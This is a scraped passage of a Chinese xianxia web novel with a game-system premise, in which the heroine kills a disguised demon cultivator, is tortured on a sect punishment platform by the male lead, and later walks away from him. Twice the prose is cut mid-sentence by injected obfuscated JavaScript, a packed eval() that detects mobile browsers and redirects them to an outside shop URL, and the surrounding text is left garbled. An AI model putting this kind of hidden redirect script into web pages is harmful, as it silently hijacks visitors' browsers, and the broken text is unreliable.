“我需要那枚神戒,对不住了。”凌云握剑停在她面前,冷声道:“与其痴癫活着,不如待会儿我给你一个痛快。” 我怎么这么倒霉,遇到龙傲天果然没好事,又是一个抢神戒的。滕棠额头流瀑布汗,努力劝自己冷静。 凌云灵力一出,暗蓝色的光从手中顺着剑流动。与此同时,滕棠的脑海中响起系统提示声,她发现自己可以动了。 [(叮)正在挑战5级副本boss。] 滕棠无比庆幸,接受挑战后,能掌控身体主动权。她忙偏头躲过剑身,折腰一蹬,险险避开。 可存在bug,她身体虽然能动,嘴依旧不受控制:[你一定没有玩过这么爽的游戏,一刀伤害无限个9,神级金装,彩色六翼……] 凌云漆黑的眸内闪过惊讶,似是没料到她会躲开,接着用灵力控制灵剑,刺向滕棠。 滕棠刚从地上爬起来,来不及调动出大刀,只好两掌交错,挥出一道快炼气二层的灵力斩。 [(咚)您的伤害过于刮痧,是否充值100灵髓,打造高级装备。] 系统的氪金套路跳出来,非常打扰滕棠的注意力。 滕棠想也没想,快速点叉,高级装备不是她现在能考虑的范围。1块灵髓等于1000块上品灵石,等于一百万中品灵石。100灵髓,怕是整个明月大陆都没几个人能拿得出来。 凌云的灵力颜色只有蓝色,说明对方极有可能是单水灵根。 [全新巨制游戏——热血岁月,新人一天升满级……] 滕棠大声念着广告词,心里逐渐镇定下来,拿出大刀挡下刺过来的一剑。 她已经升到3级,系统的灵力储存条增加,可以补足两次她丹田灵气,而且用完后恢复极快,加上五灵根的特殊,她应该能应付几招。 唯一弱处在于,肉身杂质过多,经脉阻塞,灵气的调动不如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032669|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对方快,身体承受能力也不如对方强。 五色灵力既出,纠缠成粗壮的一股,附于滕棠身体表面和刀面,浅光闪动。 看不见的[-9999][-3]数字在空中不断飘过,偶尔出现暴击,伤害增加10%-100%不等。 岑云岭控制灵剑,三次刺过去无果,眉头微沉。他没想到滕棠看起来柔柔弱弱的,动作竟如此敏捷,且是个五灵根。 本身不是心软之人,岑云岭当即又调出一股灵力,灵剑速度变快,在空中形成五把,将滕棠团团包围。 再强也只有炼气二层的实力,能接下他三招,岂能撑住他后面的剑式。 被暗蓝色灵力包裹的灵剑分成五把,齐齐对准滕棠扎下,其中只有一把为真,在不停变动之中,即使是金丹期修者在此,也无法抉择出该挡哪个方向。 滕棠自是不能辨别,但她灵力够用,无需警惕一个方向。体内灵力耗尽,她开始使用系统的灵力条,厚实地覆于身体周围,持刀随便朝一个方向劈。 呲呲——,两方灵力碰撞,下一秒,滕棠运气极好,误打误撞之下,大刀霍地砍散剑阵薄弱之处,灵剑叮当掉地。 岑云岭眉端轻皱,暗自吃惊,莫非滕棠也隐藏了实力?炼气二层的五灵根修者绝对没这么强。 他开始慎重,全力以赴操控灵剑杀向滕棠,不留后手。 滕棠感到浓烈的杀气,心脏一滞,差点喘不过气,所幸她足够冷静,意志力比寻常人强,动作在须臾的僵硬后,又变得行云流水。 提刀,挥刀,侧劈,横挡……滕棠见招拆招,边念游戏广告词,边神情专注地对付凌云。 两人交招几番,实力不相上下。 有系统的补足,滕棠的灵力丝毫未减弱。反观岑云岭,因身上有伤,灵气渐渐不足,节节后退,快要败下阵来。 滋滋——,在两人交战时,岑云岭身上忽然冒出黑烟,接触到滕棠的地方尽皆腐蚀。 岑云岭眼中寒意乍现,这具分-身太弱,只有炼气五层的实力,若用的是筑基那具分-身,早已把滕棠困住,哪里会被打到原形毕露。 而对面的滕棠大为惊异:“你是魔人?” 不对劲,原主记忆里,魔气不会有腐蚀效果,对方修炼的什么功法,如此厉害。 滕棠的大刀被腐蚀掉刀尖,灵力有去无回。生死时刻,她深知不能再拖下去,于是将两把小飞刀取出来,一口气用光灵力储存条。 五色灵力爆发强烈的光芒,半米大刀和两把小飞刀携着浑厚的灵力,一举破开黑色烟雾,穿过凌云的身躯。 这一击,汇聚了系统灵力条的所有,仿佛将一大缸水全倒出来。 瞬间,黑烟消散,凌云不可置信地微睁双目,整个人砰地原地消失,滴血不留。 滕棠惊异,魔人也是人,只不过修的是魔气,怎会说没就没,难道是哪个反派的一道幻影? 滕棠的猜测被系统打断:[(烟花)挑战成功!经验值+88888,获得1片魔龙鳞。] 滕棠收回武器,就见地面有一片光亮的黑色龙鳞,本着不要白不要的想法,捡起来放进储物袋。 龙鳞巴掌那么大,不知道有什么用。 “滕棠!你竟然杀了云儿!”天空一声怒喝响彻云霄,在整个鹿焰宗山峰间回荡。 声音不是一般的熟悉,滕棠抬头,只见天上有三个人震惊地看着她,龙傲天、徐扉罗和鲁酥酥。 不是吧,不是吧……滕棠顿觉一盆狗血泼头,跳进黄河洗不清。 事实果真如她所想,上方三人恰巧看到她杀凌云的最后一幕,没看到前面的情形。 龙傲天勃然大怒,伸手一抓,空中出现一个浅金色的龙爪,将院落里的滕棠提到空中。 他声色俱厉道:“单灵根的天才就被你如此斩落!你……”他气得双眼布满血丝:“去受戒台以命抵命!” 11. 第 11 章 淡黄色的龙爪几近透明,表面有细密的鳞片,节骨前弯,长长的指甲形似锋利箭簇,以骇人的气势压向山顶的女子。 与巨大的龙爪相比,滕棠的身影小得可怜。 神龙后裔即使未激活龙血,其与生俱来的威严犹在,种族优势是普通修者不可比拟的。 这只浅若无形的龙爪,看似外强中干,虚而不实,但对下方的滕棠来说,如同泰山压顶,肩背上的重力越来越沉。 在这一瞬间,滕棠浑身绷直,鼻腔无法呼吸,额前碎发被扑面而来的厉风刮到耳后。她的双腿隐隐颤抖,快要无法承受龙爪带来的威压。 “给我跪下!”龙傲天在天上怒吼。 对方不分青红皂白地出手,令滕棠愤懑,同时替原主感到悲哀。这种男人有什么好的,值得原主掏心掏肺…… 膝盖被压弯,她咬紧牙关,苦苦承受身上的威压,宁死不肯朝他下跪。她此生从未跪过谁,龙傲天有什么资格让她下跪? 龙傲天见底下的女子满头大汗,双腿抖个不停,曲着膝盖就是不跪,他气到极致,合拢五指,再次拍下一爪。 两个浅黄龙爪叠加,双倍的威压和龙力碾碎地面的石头,令滕棠骨骼嘎吱作响。 滕棠被压得抬不起头来,两手杵着大刀抵住地面,死死撑着。浑身没有一处不疼,背上犹如背负了座山丘,千钧之重。 太久没喘气,她的脸憋得通红,能够撑到现在,全靠坚强的意志力。 大刀的耐磨度在不断降低,即将消耗殆尽。滕棠眼睁睁看着手里的武器咔嚓碎裂,贴在地面一动不动。 没了支撑,滕棠重心不稳,斜倒在地,衣衫磨搓皮肤,青灰色的外纱渗出鲜血。因无法喘气,她憋得脸色发紫,想爬起来,两肘支在石地上,刚离地一厘米,又被压下去。 咔嚓咔咔——,体内的骨头接连断碎,伴随一阵清脆的响声。 [(咚)好友向你发出攻击,你已身负重受。] [自动消耗回血丹进行治疗中……] [回血丹数量不足,请尽快补充。] “啊!”滕棠痛不欲生,体内的骨头碎了又好,好了又碎。背包里靠每日签到,好不容易攒下来的几颗回血丹,用得干干净净。 她双眼发红地看向地面碾成渣的锈刀,可悲一笑,如果不是有系统恢复修复肉身,她此时已经被龙傲天打死了吧。 炼气期对抗筑基期,好比螳臂当车,自取灭亡,她连解释的机会都没有。 修真界何其残酷,杀人如踩蚂蚁,一切以强者为尊。她一个后宫女炮灰,寒潭没死,遇魔没死,眼下竟要死在满口喜欢她的男主手下。 滕棠嘴角冒出鲜红的血,痛到神经快要麻木,还有心思去想如果她没死,她一定要报仇,让龙傲天尝尝被人无辜碾死的滋味。 被筑基期的龙傲天狠狠打下两爪,滕棠内伤过重,缺氧太久,眼前发黑,人快要昏厥过去。 背包里的回血丹用完了,灵气耗尽,她只能靠破破烂烂的骨头支撑。 嘴唇已被她咬烂,肘腕膝盖磨破后,流出汩汩鲜血,浸染衣衫,淌在地面十分可怕。 我不能死。 滕棠意识模糊,眼睛里的光芒越来越淡。 整个人恍如被踩在地面,黧黑的侧脸上有几道明晃晃的青印,全身好像被胶水黏住,完全动不了。 她盯着地面,竭尽挪动手指,以鲜血歪歪扭扭地艰难书写:魔。 天上的三人,唯有徐扉罗眼尖地发现滕棠在写字,出声提醒:“傲天龙哥哥,滕棠好像有话要说。” 龙傲天停下手,低头俯瞰,辨认出地上血淋淋的字,哼了一声,巨爪抓握,把滕棠捏在手中。 愤怒之中的龙傲天,无法冷静,勃然道:“这般罚你太轻,像你这样心狠手辣的妒妇应该上受戒台,被寒棘鞭日夜拷打。” 龙傲天用虚浅的龙爪握着软若无骨的滕棠,眨眼间飞上门派中央高高的受戒台。 这里是鹿焰宗至高之处,宝殿内是掌门和长老们处理公事的地方,宝殿外有无数根暗红的柱子,用于处罚罪大恶极的弟子或者妖魔。 天空常年晴光朗日,受戒台处在高处没有任何遮挡。 石柱上捆绑的一只妖魔被太阳暴晒着,噼里啪啦的寒棘鞭抽在身上,笞得他鬼哭狼嚎,叫得无比惨烈。 寒棘鞭上有玄冰小刺,每打在肉上再一收,伤处的肉便会被切割成小块,而后寒冰蔓延伤口,封冻鲜血,将肉慢慢治愈好,奇痒无比又痛不欲生,是修真界折磨人的一大利器。 凌云乃是罕见的单灵根修仙天才,出身高贵。龙傲天初遇她时怦然心动,一见钟情,发誓要与凌云结为道侣,一同飞升。 如今单灵根天才被五灵根废物杀了,他怎能不愤怒,忆起和云儿相处的点点滴滴,恨不得将滕棠碎尸万段。 鹿焰宗的中央,出现几道身影,受戒台的光幕大亮。底下的弟子见了,各个跟着飞到天上看热闹,互相打听:“是又抓到魔头还是谁犯大错了?” “不知道,去看看。” 密集的殷红石柱林立,数量从最中心往边缘递减。受戒台地面凹凸不平,四处长满红色苔藓,显然此地很少有人前来,不怎么处罚人。 没了威压,滕棠在龙爪中吐出几口鲜血,虚弱地对龙傲天道:“凌云是魔人,想用我威胁你交出神戒。” 她喉咙里皆是鲜血,声音比蚊子还小。 修真者耳力很强,龙傲天冷漠地睨她一眼,没一会儿,把她扔在受戒台一根柱子旁,狠厉道:“你可知你杀的不仅是我妻子,还是一位单灵根修仙天才?” 撞在柱子上,滕棠脑袋嗡嗡作响。 她眼前发黑,随时可能昏厥过去,再次用比蚊子还小的声音说:“你一查便知。凌云是魔人,带魔人进宗门,教其修行,乃是大罪。” 她必须活下来,不能晕过去!不能死! 调出系统恢复一截的灵力条,滕棠勉强打起精神,护住心脉和要害。 再等等,等系统灵力条恢复,她就可以开始修复血肉骨,重铸灵体。 她痛得面色如纸,再也说不出话来。 很快,受戒台聚集闲来无事的一干弟子,满满当当浮于空中。 “云儿与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032670|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我心意相通,我们认识已有一段时间,她不可能是魔族。”龙傲天自负道。 滕棠听见他的话,抖着手伸向储物袋,在里面感应了一圈,没找到黑色龙鳞。 她嘴角不断溢出鲜血,将储物袋东西全倒出来,爬过去翻,依旧没找到凌云留下来的唯一物品。 “滕棠,我念你与我相识多年,今日饶你不死,罚你在受戒台上赎罪百年,以慰云儿在天之灵。” 凌云的死,令龙傲天痛心疾首。他在明月大陆游历二十年,从未遇到过神级体质的女子,甚是难觅,如此珍宝陨落身亡,他悔恨交加。 不该让这个妒妇和云儿待在一起,昨日被对方冷待时,他就该醒悟,滕棠不是他想象中那样美好贤惠。 体质废物、两面作派,杀人毫不留情,这样的女人罪该万死。 滕棠苦笑,她一个炼气期的修者,如何做到湮灭凌云的肉身和魂魄,在三人眼皮底下,瞬间清干净现场? 龙傲天表情愈发凶厉,忽然心生一个想法,大怒道:“云儿不是魔人,我看你倒像是魔!我不在的这段时间,你难道没有走火入魔,修炼邪功,堕入魔道?” 欲加之罪何患无辞,滕棠护着丹田内府,有些担心龙傲天暴躁出手,将自己杀死。 她想开口辩驳,奈何伤势过重,刚才还能发出蚊子音,现在喉咙被鲜血完全堵住,什么声音都发不出来。 天上的众人几乎是筑基修者,围观一盏茶时间,大致明白发生什么,却不敢随意掺和。龙师兄的事,他们没胆量插手,连看戏都是站得远远地看,怕惹到这位脾气差的神龙后裔。 徐扉罗从方才到现在,一直站在龙傲天身边,而龙傲天却没给她一个眼神,满心装着那个单灵根的凌云姑娘。 她微蹙细眉,站出来说:“不如请我娘来评判此事?” 她纵使心底是看不起滕棠,也明白炼气二层的五灵根废物,无法在那么快的时间内毁尸灭证。并且在他们快抵达的时候,她似乎看到一缕黑烟。 一个滕棠死不认罪,一个徐扉罗出来搅场,龙傲天不太高兴,侧头小声呵斥:“我们亲眼所见,还能有假?还是酥酥乖些,不为罪人辩驳。” 徐扉罗本就心情不畅,平日都顺着龙傲天,今日却不想逆来顺受。她要是步步让路,龙傲天身边不知会冒出多少女人。 最主要的原因是,她未料到龙傲天会如此对待滕棠。青梅竹马十几年,敌不过一个来历不明的女人,如果滕棠说的是真的,今日换做是自己,是否也会被龙傲天打死或带到受戒台惩罚? 说来说去,傲天哥哥未免冲动了些。 滕棠伤痕累累的身躯,像一波潮汐,把徐扉罗几年来的欢喜冲垮。 而底下,滕棠原本丢失的黑色龙鳞藏匿在她头发间,偷偷丢出一块冒黑烟的布料,和储物袋抖出的东西堆积在一起。 滕棠似有所应,低头看向手边,看清是什么东西在飘动后,乌目微睁。 她咳出一口血,抓着布料,对龙傲天虚弱道:“这里,你要的证据,凌云衣角还残留着她身上的魔气,这黑蓝色的灵力你再熟悉不过。” 12. 第 12 章 骨碎肉坏的剧痛,麻痹了滕棠的思考能力,说完话,她就无暇他顾了。 冒着黑烟的碎布,在众人的视线下,被龙傲天招到手中。 熟悉的气味和灵力,皆是凌云的,但魔气他没见过。身有龙血的他,无论是视觉亦或嗅觉,均比一般修者更敏锐。 同样地,这方面的优势造就了他的自大。龙傲天捏碎布块,嗤鼻道:“魔气从何而来,想必你比我更清楚。我和云儿相识以来,从未见过一丝魔气。” 怀疑她把魔气弄上去的?不甘的情绪垒到头顶,滕棠艰难喘气,做着最坏的打算。 系统的灵力值每恢复一点,便被她拿来修复伤势严重的身躯,自身也竭力吸取周围的灵气,用最痛苦的方式重塑每一寸肌骨。 修行者脱凡入灵,达到炼气期的修士,大多已炼成灵体,只是有的纯粹,有的还有不少杂质、凡骨。 身旁的暗红色受戒柱,不知被多少鲜血浸泡过,难闻的臭味至今尚在。寒棘鞭缠绕在柱子上,冷气森森,等着罪人前来受戒。 活着,是滕棠此时最大的渴望。此仇不报非君子,白白死掉,让龙傲天顺风顺水地继续当他的种马男主,滕棠死不瞑目。 宝殿外的动静惊扰到殿内处理公事的几人,掌门徐云旭问门口驻守弟子:“外面发生了何事?” “龙师兄在处罚他丫鬟。”弟子答道。 大长老鼻腔出气,向来看不惯龙傲天的作派,挖苦道:“受戒台非长老、掌门,不得擅自罚人,你这掌门当得窝囊,被一个徒弟骑到头上,他天赋再高又如何,筑基期便如此猖狂,以后会把我们放在眼里?” 此事正中掌门夫人官汶苇所想,她端着仪态,在旁抱怨:“你对他比对我们儿子还好,不仅将扉罗许配给他,还让扉盛处处让步,成心要气死我?” 剩下几个长老也与龙傲天积怨已久,免不得说上两句,诉其狂傲、目中无人。 徐云旭捋动胡须,摆手让他们稍安勿躁:“龙傲地乃我义兄,他曾救我于水火,他的儿子自是要照顾一二,不能无情无义。我去看看此子,你们放心,我不会偏袒于他。” “难道不是因为他娘?”坐在他旁边的官汶苇起身道。谁能想到,在床上徐云旭喊的不是她的名字,而是龙傲天生母的小名。 官汶苇对龙傲天心中有恨,大步出殿:“我今日偏要灭了此子气焰!” 掌门夫人既出,几个和龙傲天有过结的长老亦随其出去,殿内只剩下徐云旭和七长老。 徐云旭长叹一声,取下壁内戒尺,踏空跟上。 受戒台处,龙傲天终是动手,滕棠被寒棘鞭束缚住。 冰锥小刺一下下刮开灰色青衣和娇肉,露出嫣红的血口。新鲜血液一部分浇覆暗红的戒柱,一部分被寒冰凝冻。 刺痒和剧痛同时袭来,滕棠咬得牙齿快碎了,眼球爬满红血丝,面容狰狞地望向天上那作威作福之人。 她从来没如此痛苦过,即使前世身为孤儿,几经霸凌,也未遭受过如此痛楚。 滕棠的脑后,头发里的黑色鳞片寒光闪烁,一股黑烟在她背后慢慢爬向寒棘鞭,让寒棘鞭落下的速度变慢,力度变轻。 但黑烟似乎力量有限,没过多久,颜色变浅快要溃散。 身上所有的痛变成恨意,滕棠的指甲掐进手心,收回目光,垂着头,凝神于腹部的灵根,试图引导灵气进行心法修炼。 对抗生理和心理的痛楚,除了药物帮助,还可以自行减轻,只需以极端专注力去做其他事。 上辈子她做完手术,躺在病床上,那时满脑子想的都是痛。 后来她看到临床病友专心致志在玩射击游戏,全然不似她这么痛苦。她顿时想到,人习惯用狭隘焦点关注某件事物,大脑的注意力是聚光灯。只要她汇集全部专注力的事,便无暇他顾,能缓解百分之九十的痛苦。 滕棠没有其他选择,她不能在受戒台苦受鞭打,凄惨离世。 闭上双眼,她强迫自己转移注意力,聚精会神于灵根处,把所有专注用来引导系统灵气,修复重铸每一寸经脉血肉。 一开始,进展得很不顺利,灵气刚被引出灵根,下一秒就缩回去。 同时,她的心神容易被寒棘鞭分散,每一鞭挥过来,身子便不可遏制地颤抖。 初次尝试无果,滕棠并不气馁,执拗地把注意力集中在灵根上,渐渐地掌控了自己的大脑。 在她不断尝试引导下,终于将灵气拉出来,爬上经脉血管,把淤血疏通,接骨生肉。 没过多久,她好似陷入一种忘我的状态,忘却周围的人,忘记寒棘鞭的可怕,全部心思都在修复重铸上。 她现在是那股弱小的灵力,清栓除阻,把受伤的地方治好,在四通八达的体内绕大周期,再进行小周期。 她不知道她这样的做法,意外开辟了元婴期才有的识海,凝聚出一丝精神力。 她身上那股静谧之力再次显现,上方有些筑基弟子见到,无不讶异,这女杂役身上的灵气平缓流动,有章可循,竟然在修行! 她……没痛觉吗? 寒棘鞭会让受戒之人保持清醒,其带来的折磨,金丹期及以下修者,无人能抵抗,更别说滕棠还是个炼气二层的纤瘦女子。 可是事实摆在眼前,滕棠确实是在修行,且修行得极为专注,她身上的灵力匀速沉稳,在场人士即使不受寒棘鞭笞打,也达不到这样的潜心程度。 “难道她服用了除痛类丹药?”一名弟子发出疑问。 “肯定是,我不信有人 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“我真是捡到宝了!徒儿天生骨骼惊奇,单雷灵根,眼下龙血觉醒,世上再无人能超越他天赋。哈哈哈,修真界恐怕要刮起一阵腥风血雨了,无涯宗的人给我等着,李某带着徒弟来诛灭你第一宗门。” 晴空忽然阴云密布,大雨滂沱,道道惊雷形若游龙,打在龙傲天身上,焦黑了他身上的衣服和长绫。 天空雷鸣龙吟,紫云金光,蛟龙化雷和龙傲天合二为一。 天道对他的偏爱,肉眼可见。 官汶苇连忙收回长绫,吃惊地看着这一幕,询问几个长老:“他是不是……?” 几个长老本来拿出来的武器又收了回去,恹恹道:“他龙血觉醒了。”与天道之子作对,除非他们不想活了,聪明之人应该化敌为友,与龙傲天交好。 上面惊天动地,滕棠却安静得像块木头。 谁都没有注意到存在感极低的她,那些天雷落在她身上,没有加重她的伤势,反而转眼消失,只剩体外闪过的余雷火花。 系统需要能量维持运作,上面打下的天雷,对它来说最为纯粹,比灵石好上万倍。 在滕棠沉心疏导灵力之时,它饥渴贪婪地攫取落到受戒台上的天雷,慢慢把负债缺口填满,将一部分游戏功能、优惠活动放出来,热血岁月立刻更新,从1.0版本一路升级到5.0版本。 这些事情的发生,滕棠都感知不到,她陷入一种极端状态中,所有心神都在体内游动的五色灵力上。 受刑天地,升降浮沉,各随其变,这是金丹巅峰修者要经历的难关。唯有分窍出神,以精神力碎金丹,才能结成元婴,而后成为肉-体和精神力并修的元婴强者。 13. 第 13 章 时间过了不知多久,天空的龙雷停歇。被劈得黢黑的男子大吼一声,身上的焦块剥落,光秃秃地立在中央,成为所有人的焦点。 龙血激活后,龙傲天的头发变成红发,瞳孔由黑转金。他从戒指内拿出一件外衫,遮挡结实的肌肉,大笑道:“多谢师娘继续刺激我,帮我解决多年的烦扰。” “你……”官汶苇气得趔趄,差点从灵剑上摔落。 看场面闹得差不多了,徐云旭把戒尺悄悄藏进袖中,暗道,如今的小天还是别惹怒为好。 他轻咳一声,出来主持公道,第一次把视线移到滕棠身上,咦了一声,问龙傲天:“你给她吃过除痛类丹药?” 龙傲天左手放腰上,右手往后梳头发,金色竖瞳冷漠地瞥了眼受戒柱上的女子,摇摇头:“她自己倒储物袋吃的,杀我云儿,罪该万死!我要让她在受戒台上被鞭百年,反省过错。” “什么!” 徐云旭昨日听龙傲天说过,带了一名单水灵根的天才美人回来,还是什么神级体质,当时他兴奋不已,玄想鹿焰宗能成为顶尖门派。哪料才隔一夜,人就没了…… “确实该罚!”徐云旭嗔怒,低头睇向滕棠,怫然道:“我命丹师解了她除痛药,不能白白任其逍遥。” 这时,徐扉罗突然站出来,对她爹道:“爹爹,此事有蹊跷,我们刚至山峰,凌云姑娘便消失了,且女儿看到一抹黑烟。” 龙傲天觉得被拂了面子,不悦地驳斥她:“必然是滕棠修炼魔功,我走之前她才炼气一层,回来就炼气二层了,这样的修行速度,哪位五灵根修者能做到?” 对于他的偏颇,后方鲁酥酥有些不忍,替滕棠弱弱解释:“龙少爷,奴婢不是说过么,滕姐姐最近十分勤奋,修炼都不带休息的。” 龙傲天嗤笑,伸手点了下她额头:“丫头太天真了,她又不是我这样的神龙后裔,修行无屏障,肉身不作痛。你们能在那种痛苦下,最多坚持半个时辰,没有人能做到时刻修行。” 鲁酥酥见他不信,嘟了嘟嘴,她前面连着两三天和滕姐姐待在一块儿,怎能不知滕棠有多刻苦。 一旁的徐扉罗心情不佳,低头看向受戒柱上的人,不断扪心自问,若今日此事发生到自己身上,龙傲天会有什么反应。 她脑海中不断回想起,当初龙傲天对她说过的那些话:“丫头资质有点差,相貌倒是一等一的。” “你想与我共同飞升?怕是不行,你三灵根追赶不上我修行的脚步,往后困难重重,我先成仙,你在人间洁身自好,勤于修炼,总有一天能飞升上来找哥哥。” 她和凌云一比,亦是天地之差,龙傲天会惩罚她吗?爹爹是否会继续偏袒别人的儿子,而枉顾自己的女儿? 徐扉罗越想越胆寒,抬头望向她娘,眼神游移不定,开口唤道:“娘。” 官汶苇踩着长绫过来,面容和蔼,把手放在她肩膀上,关切地问:“在塔中历练有没有受到欺负?” 徐扉罗摇头,再次低头看向滕棠的方位,抿抿唇,抓着官汶苇的手:“娘,她可能是被冤枉的,我相信我的眼睛,我确实看到黑烟了。” 官汶苇轻轻拍了下女儿的手,转头瞬间变脸,严厉地朝徐云旭道:“你不查明事实,就这样定罪,有失公允,此举无法服众。” 眼看师父师娘要吵起来,龙傲天抬手阻止:“那好,请师父师娘,以及各位长老去我院中查探,我屋内还有云儿的物品。” 徐云旭是元婴修者,灰蒙识海已凝练出精神力,对魔气的敏锐度自然比众人高。他点点头,“好”,带着几个长老随龙傲天去往他所住的山峰。 见大人物都走了,天上的弟子也跟着解散。 烈日之下,滕棠还沉浸在无我的境界之中,一寸一寸地重铸自身。 碎骨重塑,血肉新生,冲阻塞、除淤积,她的皮肤渐渐渗出黑糊黏腻的杂质,因低着头,且被寒棘鞭捆缚着,所以没人注意到她变得脏兮。 发现她状态有异的,唯有头发间的黑色鳞片,似有自我意识,嫌恶地飞走,贴在受戒柱上寒光闪动。 滕棠体质太差,自身的灵力恢复得很缓慢。 要不是有游戏系统在,每分钟恢复一截灵力储存条,她现在的灵力恐怕亏多补少,已经被寒棘鞭打得昏迷。 她全神贯注地引导灵力,在体内大小周期轮流转。在龙傲天他们查明实情时,已经过了半日,她的伤势愈合得七七八八。 与此同时,五色灵根亮了点,资质微有提升。 又过了一个时辰,灵力越发壮大,经由一丝精神力的引导,汇聚在肚皮处,治愈皮外的裂口。 但奇怪的是,这个地方治好又裂,裂的时候还有外物入侵,异常寒冷。 脏兮兮的人动了动,睫羽打颤,睁开了双眼。 精神力回归脑海,疼痛感重新席卷而来,滕棠这才意识到,自己还在受罚。 寒棘鞭时不时抽过来,再一勒,肚上那个地方皮开肉绽。她嘶气一声,咒骂龙傲天不得好死,双手招出小飞刀,汇集所有灵力,欲要割开寒棘鞭。 身体重铸得七七八八,这根破藤,她费两天功夫就能挣脱。 天上光幕再次亮起,龙傲天带着长老和掌门们归来。 他神色略显尴尬,手一挥,将滕棠从受戒柱上放下来,懊悔道:“丫头是我错了,是我识人不清,没发现凌云是个魔修。” 没有元婴期的精神力,难以辨出魔人的假扮,他心中已有悔意。 滕棠连掐几个净身诀,把身上弄干净,收回小飞刀,一边用灵力捂住腹部,一边仰起头,冷冷地盯着龙傲天。 忽然,她嘴角弯起。 这个笑容令龙傲天喜形于色。“丫头你原谅我了!”他高兴道,从剑上跳下,想过来亲昵。 在他离自身仅一步位置时,滕棠嘴角酝酿一番:“呸!”朝龙傲天的脸上吐出口水。 “道歉谁不会?若你让掌门用全力碾你一炷香时间,再将你捆受戒柱上几个时辰,我兴许能大度点。” 灰色青衣残损,女子纤瘦的肩腰还没受戒柱宽,满头乌丝缭乱,一张清美的容颜上,漆黑双目中那点明光皎皎如月。这点星芒比世间万物都要璀璨,好似没有人或事能熄灭她眼里的赤曜。 滕棠无论是身形还是面容,都是柔和温润的,大咧咧地朝人吐口水,与她外在形象极为割裂。 口水顺着龙傲天的额头流经眼睛,他不可 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滕棠止步,朝他扔去两把弯刀,脸冷声音更冷:“今日之耻,来日报仇雪恨。龙傲天,总有一天我会把你踩在地上,经历我刚才的痛。” 龙傲天低估了那两把小刀的威力。自以为刀枪不入的神龙之身,被那两把刀划破了手背的皮,热烫的两丝龙血飘散在空中,令他惊愕。 在常人看不见的地方,[-9999][-3]的字样于空中飘过。 游戏武器带来的伤害除非用灵器减伤,否则其他外在条件皆可忽略。 龙傲天没心情想滕棠为什么能让他破皮,他执着于让滕棠服软,不喜欢她此时冰冷的样子。 “滕棠,我再给你最后一次机会,现在立刻踏上我的剑,跟我回去!”龙傲天希望她变回逆来顺受的模样,语气不免加重。 滕棠头也不回地走向远处,留下一道细长的背影:“你放心,我会来找你的。”今日之仇,来日必报。 龙傲天见她走得坚决,头也不回。他不再好言好语,鼻子出气哼了一声,耻笑她目光短浅。 “你会后悔的,什么时候五灵根也敢这样高傲?我是天道宠儿,天生单雷灵根,神龙后裔,气运傍身,你现在离去,会错过这世上最如意的郎君!” 声音之大,每一个字都在受戒台清晰回响。龙傲天望着她的背影,表情不怎么好看,盼她立刻回心转意,为时不晚。 萦回的石台遮人视线,滕棠走到半路上停下来,回过头,望向那张写着“我就知道你舍不得离开我”的自恋脸,非常平静地回答他:“不会后悔,因为你很恶心。” 话音刚落,她头发间的黑色鳞片快速闪过一道月牙白,好似在笑。 龙傲天僵住,脸色铁青得泛黑,她怎么敢说这样的话? 好好好!他龙傲天不缺女人,滕棠那体质并非罕见,不像其他神级那样难寻。此人除了长相貌美、性格贤惠合他眼缘,其他的一文不值。 龙傲天一拳锤倒身旁的受戒柱,啊啊大叫着发泄情绪。无能狂怒半晌,再抬起头,滕棠早就下山了,一根头发丝都看不见。 14. 第 14 章 [雄霸天下] 滕棠离开受戒台后,突然发现系统有变化,不仅更新了版本,还开启了新活动。 [本次版本更新,修复了等级显示异常问题,优化……] [在线领好礼,累计在线1分钟,获得低级回血丹,累计在线15分钟……] [第一届‘雄霸天下’开始报名,玩家在活动期间内,累计战胜1名玩家,奖励1枚下品灵石,累计战胜2名玩家……] …… 滕棠大致读了一遍,退出来后,发现附近的人头顶上多了绿色的字。比如在山下比试的这两名内门弟子,一个头上显示[11级],另一个显示[12级]。 再以灵力去辨别,他们的实力正好对应上筑基一层和筑基二层。 片刻后,她又去看游戏商城上新的物品。服饰、丹药、特效到武器外观一应俱全,可惜最低的都要50中品灵石。 作为一个穷鬼,滕棠自然是什么都买不起,叹气一声,把关注点放在新出的活动上。 游戏活动层出不穷,免费拿奖励的少,大多是需要氪金的活动,比如把好东西放在奖池内,用灵石买抽奖券,纯粹赌运气。 而刚刚发布的[雄霸天下]不一样,让滕棠非常心动,因为可以白嫖拿奖励,只需要参与,然后完成上方的任务与要求。 她记得,玩游戏的时候,这个活动是所有玩家在线pk,争拿第一。有钱的人所向披靡,直冲排行榜,没钱的人只能眼巴巴地替他们鼓掌。 现在情况不一样,没有了随机pk,她可以自由选择挑战对象。而后天的外门比试,参与者少说有千余人,正好给她提供机会。 她只需连胜20场,就能拿到三等奖——1000块中品灵石;连胜50场,获得二等奖3000中品灵石和[限定坐骑·热气球];连胜100场,赢取一等奖——10块上品灵石和[限定灵宠·九色猫]。 这些奖励,对现在的滕棠来说,简直是天降甘霖。 她两眼冒光地把规则读了一遍又一遍,生怕错过什么而导致最终没拿到奖励。 热血岁月她没玩多久,还是在上下班通勤时间里玩的,因此有很多活动没参与过。至于游戏以后的更新,会出哪些新活动、新商品,只玩了一个月的她更不得而知。 